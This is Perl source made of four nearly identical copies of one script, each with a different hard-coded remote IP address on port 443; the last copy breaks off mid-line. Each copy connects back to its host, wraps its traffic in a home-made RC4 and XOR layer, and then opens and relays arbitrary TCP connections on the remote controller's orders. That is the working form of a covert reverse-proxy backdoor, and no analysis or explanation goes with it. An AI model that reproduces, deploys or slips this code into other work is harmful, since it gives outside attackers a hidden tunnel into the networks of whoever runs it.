use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.202'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.155'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.201'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.200'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, 